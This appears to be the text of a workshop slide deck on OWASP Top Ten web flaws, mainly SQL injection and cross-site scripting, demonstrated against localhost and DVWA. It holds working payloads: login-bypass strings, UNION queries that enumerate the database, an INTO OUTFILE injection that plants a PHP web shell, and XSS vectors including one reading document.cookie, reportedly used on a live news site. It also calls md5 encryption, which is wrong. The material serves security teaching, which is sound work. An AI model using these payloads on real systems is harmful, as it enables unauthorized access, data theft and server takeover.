Null - Humla Session
^ I hope - You gotcha ^
So, feel free to stop when you have a doubt!
Are you Ready to Rock ???
Twitter handle
Hashtag for this session
The average loss reported in the 2007 CSI Computer Crime and Security Survey was $350,424.
There we stand ^ Web application Security Ninja's ^
Overly
Wonderful
Awesome
Super
People !
Make application security visible, so that people and organizations can make informed decisions about true application security risk!
This is nothing but
Top ten web application security hazards
recommended by OWASP Survey.
^ Myth Involved Here^
I don't want to showcase top ten - let's start with baby steps
Tamper Google HTTP request!
If your answer is 'No', then be ready for the 'Nightmare'
Conclusion
Modern websites rely on user input for everything.
They are basically applications which expect various kinds of inputs coming from users to function a certain way.
~ Courtesy @makash ~
SQL stands for Structured Query Language.
(Source: Privacyrights.org)
SQLi is old days' problem - I shouldn't worry about this.
^^
I am using Java / PHP / RUBY / ASP modern days' framework.
CAKE PHPClient Side language : HTML & Javascript
Server side Language: PHP
DB : MYSQL
Why PHP ? - Any answer Here?
Why MySQL? MySQL is Girlfriend of PHP <3
http://w3techs.com/technologies/overview/programming_language/all
Demo
Basic SQL query Login page :-
SELECT * FROM users where username="username" AND password = "pass"
Basic PHP statement for Login page :-
SELECT * FROM users where username='".$username."' AND password = '".md5($pass)."'"
*Md5() method is used to encrypt the password.
* Demo at SQL *
#Attack - 1
SELECT * FROM `users` WHERE `username` ='admin' or '1'='1' and password ='I dont know'
Injection code :-
admin' or '1'='1
Attack 1 is rely on 'User name'
SELECT * FROM `users` WHERE `username` ='admin' or '1'='1' and password ='I dont know'
Can't perform this attack on password field due to encryption.
User name = anything' or '1' ='1
password = anything' or '1'='1
* known User name is mandatory Here*
User name is known i.e. 'admin'
<It simply works>
But you can't perform this attack without user name
http://dev.mysql.com/doc/refman/5.1/en/comments.html
# : Single line comment
"-- " : Sequence to end of line comment
/* Sequence to following block comment*/
Basic SQL query Login page :-
SELECT * FROM users where username="username" AND password = "pass"
What if - I insert comments in first attack
SELECT * FROM users where username="admin" or '1' ='1' # AND password = "pass"
<< AND password = "pass" >> doesn't execute all
SELECT * FROM users where username="admin" or '1' ='1' # AND password = "pass"
SQL statement will be always true due '1' = '1' thus doesn't matter, you are knowing user name or not.
Yes - I am done. but what if '#' is not valid input?
* --(space) is syntax
admin' or '1' = '1' --:False
admin' or '1' = '1' -- : True
Mostly people forget to add space, so I use below vector
admin' or '1' = '1' -- space + any one character
E.G. > admin' or '1' = '1' -- Sandy
ssshhh - Do you hear that? - NO
* Identify column gets selected.
* Identify the data set which value will be displayed.
a%' union select 1,2,3,4,5 from users #
a%' union select 1,@@datadir,2,3,4 from users #
a%' union select 1,@@version,3,4,5 from users #
a%' union select 1,table_schema,2,3,4 from information_schema.tables #
a%' union select 1,table_schema,table_name,3,4 from information_schema.tables #
a%' union select 1,table_schema,table_name,3,4 from information_schema.tables where table_schema='sqlhumla'#
I want to save a MySQL query result to a text file like this:
SELECT * FROM orders INTO OUTFILE '/data.txt'
'Hello world' PHP File Writing at current folder
Select * from users where username = 'frodo' union select 1,2,3,"<?php echo "Hello World"; ?> ",5 from users into outfile '../../htdocs/xampp/sqli/shellTest.php'; -- a
<?php $output = shell_exec('Test'); echo '<pre>$output</pre>'; ?>
Append the same as SQL injection
user=frodo' union select 1,2,3, "<?php $output = shell_exec('test'); echo '<pre>$output</pre>'; ?>", 5 from users
into outfile '../../htdocs/xampp/sqli/shell.php'; -- a
http://127.0.0.1/xampp/Sqli/shell.php?test=dir
Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment.
http://www.dvwa.co.uk/
https://github.com/RandomStorm/DVWA
http://appsandsecurity.blogsplot.de/2012/11/is-xss-solved.html
OWASP says "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites.
https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
https://www.whitehatsec.com/assets/WPstatsReport_052013.pdf
http://www.nds.rub.de/media/nds/veroeffentlichungen/2013/08/29/lniguide.pdf
http://www.nilsjuenemann.de/2012/12/news-about-googles-vulnerability-reward.html
http://slides.com/mscasharjaved/on-breaking-php-based-cross-site-scripting-protections-in-the-wild#/61
http://slides.com/mscasharjaved/on-breaking-php-based-cross-site-scripting-protections-in-the-wild#/63
</script> <script> confirm(1); </script>
Reflected XSS occurs when user input is immediately returned by a web application in an error message, search result, or any other response that includes some or all of the input provided by the user as part of the request, without that data being made safe to render in the browser, and without permanently storing the user provided data.
https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting
What if so ? :D
Live
http://mmqb.si.com/2014/08/20/san-francisco-49ers-new-stadium-training-camp-thoughts-peter-king-video/#mmqb_livefyre_comm_bellow/autostart/
Vector : Under BIO :- </p></script> <img src=1 onerror=alert(document.cookie);>
Stored XSS generally occurs when user input is stored on the target server, such as in a database, in a message forum, visitor log, comment field, etc. And then a victim is able to retrieve the stored data from the web application.
http://127.0.0.1/xampp/DOM%20XSS/domxss_demo_1.html#<img src=nonexistent onerror=alert(1)>
Directory Object Model
Understand the Logic
When Source gets synced?
An attacker may append a JS to the affected page URL which would, when executed, display the alert box.
Impact would show only on - Client side JS
More Info at : https://ironwasp.org/
But there is a lot to learn :D
Am I Vulnerable To 'Broken Authentication &
Session Management'?A2 - OWASP TOP 10
So, Let's Learn about Web App DB structure
Passwords are stored in plain text.
oh really -- ':(
OWASP #A6
Password is protected, when stored using encryption algorithm. Are you sure?
http://www.md5online.org/
Feel free to write me at bug.wrangler at outlook.com
-- Explore Google Darling > Search 'OWASP TOP Ten' --
Say 'Hello' @null0x00
Copyrights 2013-2014 Abhinav Sejpal
-----
Attribution-NonCommercial-NoDerivs 3.0 Unported
Dedicated to my lovely daddy